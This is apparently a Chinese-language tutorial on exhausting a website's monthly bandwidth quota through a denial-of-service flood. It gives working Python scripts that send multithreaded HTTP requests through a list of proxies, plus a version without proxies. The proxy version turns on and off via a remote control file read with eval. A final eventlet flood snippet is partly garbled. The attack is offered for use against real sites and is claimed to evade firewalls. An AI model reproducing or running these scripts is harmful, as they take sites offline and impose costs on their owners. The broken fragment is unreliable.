针对网页流量的Dos攻击脚本(使用代理服务器)

某目标网站，为虚拟主机，如果ISP限制月流量为20G，那么我们可以在短暂1-2天内消耗完其流量。(取决于你的机器)

方法原理如下：

1.找到目标网站大文件（页面）地址

2.多线程访问（下载）该地址

(注意：由于完全是出于模拟真实用户，所以不会被防火墙屏蔽掉)

（以下以hao123为例子而已）

一： 其中以上思路中的第一点 可以通过google浏览器的审计功能实现

如图，我可以得到几个大文件地址。

二：

找到地址以后，可以通过脚本程序实现多线程访问，不停消耗其网页浏览。

以下是我的机器运行程序后的截图（2 M adsl 仅10个线程，可以再加线程），我的接收也就是目标网站的消耗流量了（才几秒钟而已）。

可见效率还是不错的。

好了，脚本代码如下：

(注意，代理服务器需要放入proxy.txt文件中

格式为：

ip:port

一行一个)

import socket,random,threading,time,os,sys
import urllib.request as ur
socket.setdefaulttimeout(5)
os.chdir(sys.path[0])
domain='www.net'


tno=500

proxylist=[]

a=open(r'proxy.txt').read().strip().split()
for i in a:
    proxylist.append(i.split(':'))



target=['','index.asp','img/css.css','img/x.gif','img/x.jpg','img/x.jpg']

target=['','index.asp']
data='''GET http://%s/%s HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.46 Safari/535.11
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Referer: http://%s/

'''

no=1

plock=threading.Lock()

ok=False


def geturl():
    global no
    while True:
        time.sleep(1)
        while ok:
            proxydet=random.choice(proxylist)
            proxy=proxydet[0]
            port=proxydet[1]
            url=random.choice(target)
            da=data % (domain,url,domain,domain)
            try:
                if not plock.locked():plock.acquire()
                s=socket.socket()
                s.connect((proxy,int(port)))
                s.send(da.encode())
                dd=s.recv(4024)
                print(' ok ',no)
                no=no+1
            except Exception as err:
                pass
            finally:
                s.close()
                if plock.locked():plock.release()


def a():
    global ok
    url=r'http://www.xxx.com/xxx.txt'
    try:
        data=ur.urlopen(url).read().decode()
        data=data.strip().split()
        for i in data:
            dom,yes=i.split(':')
            if domain==dom:
                ok=eval(yes)
    except:
        ok=False

for i in range(tno):
    threading.Thread(target=geturl).start()

while True:
    time.sleep(5)
    a()

非代理版:

import os,socket,time,threading

data='''GET / HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Accept: */*

'''

domain='www.xxxx.net'
tno=400
mylock=threading.Lock()

def geturl():
          global data
          da=(data % domain).encode()
          while True:
                    try:
                              if not mylock.locked():mylock.acquire()
                              s=socket.socket()
                              s.connect((domain,80))
                              s.send((data % domain).encode())
                              s.recv(2040)
                              print('ok')
                    except Exception as err:print('err:',err) ;pass
                    finally:
                              s.close()
                              if mylock.locked():mylock.release()
          

for i in range(tno):
          threading.Thread(target=geturl).start()

import eventlet,time
from eventlet.green import socket
data=''qq HTTP/1.1
Host: qq
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Referer: http://hb.qq.com/news/reganmain/index.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: RK=NcDPkbje2o

'''
def send1():
    s=socket.socket()
    s.connect(('qqm',80))
    s.send(data)
    s.close()

send1()
pool=eventlet.GreenPool(512)
while True:pool.spawn_n(send1)